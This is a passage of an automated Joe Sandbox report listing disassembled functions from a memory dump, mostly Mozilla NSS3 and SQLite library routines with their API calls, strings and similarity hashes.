Function 6CF02D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CF05B40: PR_GetIdentitiesLayer.NSS3 ref: 6CF05B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF02D9C

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PR_EnterMonitor.NSS3(?), ref: 6CF02DB2
PR_EnterMonitor.NSS3(?), ref: 6CF02DCF
PR_ExitMonitor.NSS3(?), ref: 6CF02DF2
PR_ExitMonitor.NSS3(?), ref: 6CF02E0B

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 0cccaf9e0bbb8ddb9d9d64ae69b9f440099dd836ed18179c147fa25a76076f01
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: 4001C4B1B41200ABEB309E25FC05BC7B7A5EF41718F004435E85D86B20DA33F925D6A2

Function 6CE9AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CE83090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE9AE42), ref: 6CE830AA
Part of subcall function 6CE83090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE830C7
Part of subcall function 6CE83090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE830E5
Part of subcall function 6CE83090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE83116
Part of subcall function 6CE83090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE8312B
Part of subcall function 6CE83090: PK11_DestroyObject.NSS3(?,?), ref: 6CE83154
Part of subcall function 6CE83090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE8317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CE799FF,?,?,?,?,?,?,?,?,?,6CE72D6B,?), ref: 6CE9AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CE799FF,?,?,?,?,?,?,?,?,?,6CE72D6B,?), ref: 6CE9AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CE72D6B,?,?,00000000), ref: 6CE9AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CE72D6B,?,?,00000000), ref: 6CE9AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CE72D6B,?,?), ref: 6CE9AEA3

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: 6ebf71103ea87d45a184bb8ced1777f5e67feaae1c0501593c40731887ca8111
Instruction ID: 199d6cddcc14ddaa69f966e57d2dba463cd8ff356cfddcf46be3350b10650b1d
Opcode Fuzzy Hash: 6ebf71103ea87d45a184bb8ced1777f5e67feaae1c0501593c40731887ca8111
Instruction Fuzzy Hash: E9012872F8001067E701962CAC81BEF31B88F8765CF380035E809C7B41F625C98643E3

Function 6CF8BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6CF87AFE,?,?,?,?,?,?,?,?,6CF8798A), ref: 6CF8BDC3
free.MOZGLUE(?,?,6CF87AFE,?,?,?,?,?,?,?,?,6CF8798A), ref: 6CF8BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF87AFE,?,?,?,?,?,?,?,?,6CF8798A), ref: 6CF8BDE9
free.MOZGLUE(?,00000000,00000000,?,6CF87AFE,?,?,?,?,?,?,?,?,6CF8798A), ref: 6CF8BE21
free.MOZGLUE(00000000,00000000,?,6CF87AFE,?,?,?,?,?,?,?,?,6CF8798A), ref: 6CF8BE32

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: free$CriticalDeleteDestroyMonitorSection
String ID:
API String ID: 3662805584-0
Opcode ID: e349edc60b74b10a3562a0ba094c452af8531a3c2c1a9f72ea6df9a3408333c0
Instruction ID: c425c4180368705de84fefda785afd0a062fa45dec6866d3c01a97fc9131b792
Opcode Fuzzy Hash: e349edc60b74b10a3562a0ba094c452af8531a3c2c1a9f72ea6df9a3408333c0
Instruction Fuzzy Hash: 9111C2B6F222009FDF90DF79D84DB463BB5AB4A254B580469E50AC7710E733B918CBE1

Function 6CED3E10 Relevance: 7.5, APIs: 5, Instructions: 45memoryfileCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,-00000001,?,00000000,?,6CED3975), ref: 6CED3E29
PORT_Alloc_Util.NSS3(00000000,?,00000000,?,6CED3975), ref: 6CED3E38

Part of subcall function 6CED0BE0: malloc.MOZGLUE(6CEC8D2D,?,00000000,?), ref: 6CED0BF8
Part of subcall function 6CED0BE0: TlsGetValue.KERNEL32(6CEC8D2D,?,00000000,?), ref: 6CED0C15

MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,6CED3975), ref: 6CED3E52
DeleteFileW.KERNEL32(00000000), ref: 6CED3E5D
free.MOZGLUE(00000000), ref: 6CED3E64

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: ByteCharMultiWide$Alloc_DeleteFileUtilValuefreemalloc
String ID:
API String ID: 3873820591-0
Opcode ID: 9636b7e453e89c9faf7bf12b9a756cbeade1484d3d80e4124ae76fe5bd362a2d
Instruction ID: c4d3b202d8e0d672cae8bb2e37c3ce19c549b97f378875e7030b99e31c8e05d5
Opcode Fuzzy Hash: 9636b7e453e89c9faf7bf12b9a756cbeade1484d3d80e4124ae76fe5bd362a2d
Instruction Fuzzy Hash: 55F0B4B17062023BFA10217A5C09F3B357CCB429B9B340634BE29C6AC1E940DC024271

Function 6CF87C60 Relevance: 7.5, APIs: 5, Instructions: 40stringthreadCOMMON

Download Yara Rule

APIs

PR_Free.NSS3(?), ref: 6CF87C73
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF87C83
malloc.MOZGLUE(00000001), ref: 6CF87C8D
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CF87C9F
PR_GetCurrentThread.NSS3 ref: 6CF87CAD

Part of subcall function 6CF39BF0: TlsGetValue.KERNEL32(?,?,?,6CF80A75), ref: 6CF39C07

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CurrentFreeThreadValuemallocstrcpystrlen
String ID:
API String ID: 105370314-0
Opcode ID: 611349e0025ca89990f1c7d2beb4f8c8b7caf5353c671498be296df45f401e83
Instruction ID: d5fc346d419f38f5af88d4c6a268b59de9b6b82c0c7a8b71db3240331ef55518
Opcode Fuzzy Hash: 611349e0025ca89990f1c7d2beb4f8c8b7caf5353c671498be296df45f401e83
Instruction Fuzzy Hash: 3AF0F6F1A112167FEB009F3AAC09A4B776CEF01265B018436EC1DC3B00EB30E214CAE5

Function 6CF8ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6CF8A6D8), ref: 6CF8AE0D
free.MOZGLUE(?), ref: 6CF8AE14
DeleteCriticalSection.KERNEL32(6CF8A6D8), ref: 6CF8AE36
free.MOZGLUE(?), ref: 6CF8AE3D
free.MOZGLUE(00000000,00000000,?,?,6CF8A6D8), ref: 6CF8AE47

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 531c1b310c32e96c1975d2922aabf53649ce098ed40c60785ab4084ad2bfadb3
Instruction ID: 7a384ea2269054344456a2a989979165f8935a21f17568ee72a5a67d5bf27af9
Opcode Fuzzy Hash: 531c1b310c32e96c1975d2922aabf53649ce098ed40c60785ab4084ad2bfadb3
Instruction Fuzzy Hash: 06F09675702A01A7CA109FA9D80CA5777B8FF867757140328F52A83980D732E216C7D5

Function 6CE17C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CE17D35

Strings

%s at line %d of [%.10s], xrefs: 6CE17D2E
database corruption, xrefs: 6CE17D29
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE17D13, 6CE17D1F, 6CE17D47, 6CE17D53, 6CE17D5F

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 30586e6892830ac5b053f093db64a69c63d0816a15f01f3a1b52406e9aae158d
Instruction ID: fa1dae2a8698b8a0082bc2050c7bd94fbd542d8d1819338a164038d273db24b2
Opcode Fuzzy Hash: 30586e6892830ac5b053f093db64a69c63d0816a15f01f3a1b52406e9aae158d
Instruction Fuzzy Hash: 8C310671E1822997C710CF9EC8809BEB7F1AF49709B690196F444B7B81D371E862C7A4

Function 6CE06C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6CE06D36

Strings

%s at line %d of [%.10s], xrefs: 6CE06D2F
database corruption, xrefs: 6CE06D2A
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE06D20

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: 071bb946719298ec1be69d2b2dbf08942c8f41f127604957bca1f61ccba3c6d1
Instruction ID: f88d4060497a405a64746887811e3605771767ef9392220bedae73da2706a8e0
Opcode Fuzzy Hash: 071bb946719298ec1be69d2b2dbf08942c8f41f127604957bca1f61ccba3c6d1
Instruction Fuzzy Hash: 3021FE707003059BC7109F1AC841B5AB7FAAF81308F24892CDC499BB50E371E99AC7E2

Function 6CEE2FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+l,6CEE32C2,<+l,00000000,00000000,?), ref: 6CEE2FDA

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6CEE300B

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6CEE302A

Part of subcall function 6CED0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CED08B4

Part of subcall function 6CEBC3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6CEBC45D
Part of subcall function 6CEBC3D0: TlsGetValue.KERNEL32 ref: 6CEBC494
Part of subcall function 6CEBC3D0: EnterCriticalSection.KERNEL32(?), ref: 6CEBC4A9
Part of subcall function 6CEBC3D0: PR_Unlock.NSS3(?), ref: 6CEBC4F4

Strings

<+l, xrefs: 6CEE2FD0

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+l
API String ID: 2538134263-555380133
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 524c1c10d27893b4c9d2178734215dca89ac28d9fe0f8bbb14688cc7dd76407e
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: A711EBB6B001046BDB009E64EC00A9B77F99B842BCF394138E81CD7790E772ED16C791

Function 6CF3CC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6CF3CD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6CF3CC7B), ref: 6CF3CD7A
Part of subcall function 6CF3CD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6CF3CD8E
Part of subcall function 6CF3CD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6CF3CDA5
Part of subcall function 6CF3CD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6CF3CDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6CF3CCB5
memcpy.VCRUNTIME140(6CFD14F4,6CFD02AC,00000090), ref: 6CF3CCD3
memcpy.VCRUNTIME140(6CFD1588,6CFD02AC,00000090), ref: 6CF3CD2B

Part of subcall function 6CE59AC0: socket.WSOCK32(?,00000017,6CE599BE), ref: 6CE59AE6
Part of subcall function 6CE59AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6CE599BE), ref: 6CE59AFC

Part of subcall function 6CE60590: closesocket.WSOCK32(6CE59A8F,?,?,6CE59A8F,00000000), ref: 6CE60597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6CF3CCB0

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: b1fc38cb9645d14cc7fdfe74edb756872c40e19809624f91bc3d6ce0db85f0eb
Instruction ID: 85ab427b989a6636dabeef197351f696560f3de5d717b3c2a5cf09c8fb59383b
Opcode Fuzzy Hash: b1fc38cb9645d14cc7fdfe74edb756872c40e19809624f91bc3d6ce0db85f0eb
Instruction Fuzzy Hash: 6B11B4F6F312505FDB809F7A9C067863AB89346328F145129E41A8BB41E776F4048BD5

Function 6CEA1CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6CEA1CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6CEA1CF1

Part of subcall function 6CF809D0: PR_Now.NSS3 ref: 6CF80A22
Part of subcall function 6CF809D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6CF80A35
Part of subcall function 6CF809D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6CF80A66
Part of subcall function 6CF809D0: PR_GetCurrentThread.NSS3 ref: 6CF80A70
Part of subcall function 6CF809D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6CF80A9D
Part of subcall function 6CF809D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6CF80AC8
Part of subcall function 6CF809D0: PR_vsmprintf.NSS3(?,?), ref: 6CF80AE8
Part of subcall function 6CF809D0: EnterCriticalSection.KERNEL32(?), ref: 6CF80B19
Part of subcall function 6CF809D0: OutputDebugStringA.KERNEL32(00000000), ref: 6CF80B48
Part of subcall function 6CF809D0: _PR_MD_UNLOCK.NSS3(?), ref: 6CF80C76
Part of subcall function 6CF809D0: PR_LogFlush.NSS3 ref: 6CF80C7E

Strings

C_Initialize, xrefs: 6CEA1CD3
pInitArgs = 0x%p, xrefs: 6CEA1CEC

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: b2383ef456ac38876711f5ac4c9f6bd79744c3f9514e383a0748d73779245a3a
Instruction ID: e1ddc55ccf560de222c5f52f856a1cf87d3075938ebd27b7b4fa19258ddb3039
Opcode Fuzzy Hash: b2383ef456ac38876711f5ac4c9f6bd79744c3f9514e383a0748d73779245a3a
Instruction Fuzzy Hash: 6C01D234A11180EFCB409BF4C80CB5573B5EBC231AF254029E80986B11DB75EC4AC791

Function 6CE07F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6CE081DF
LeaveCriticalSection.KERNEL32(?), ref: 6CE08239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6CE08255
sqlite3_free.NSS3(00000000), ref: 6CE08260

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 824cdbd66b6b8aee9db1ee42fe815e8505882b214194b9adb16f3afd2de5b29f
Instruction ID: cf197f104b3bcdd3644bd961fbee872ef6978e7ff48641072e0c8bbbc5b7f856
Opcode Fuzzy Hash: 824cdbd66b6b8aee9db1ee42fe815e8505882b214194b9adb16f3afd2de5b29f
Instruction Fuzzy Hash: 9691AC71F51248CBEB08DFE0D8497AEBBB1BF06308F24412AD41A9B754DB396965CBC1

Function 6CEE1D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6CEE1D8F

Part of subcall function 6CED14C0: TlsGetValue.KERNEL32 ref: 6CED14E0
Part of subcall function 6CED14C0: EnterCriticalSection.KERNEL32 ref: 6CED14F5
Part of subcall function 6CED14C0: PR_Unlock.NSS3 ref: 6CED150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CEE1DA6

Part of subcall function 6CED10C0: TlsGetValue.KERNEL32(?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED10F3
Part of subcall function 6CED10C0: EnterCriticalSection.KERNEL32(?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED110C
Part of subcall function 6CED10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1141
Part of subcall function 6CED10C0: PR_Unlock.NSS3(?,?,?,6CE78802,00000000,00000008,?,6CE6EF74,00000000), ref: 6CED1182
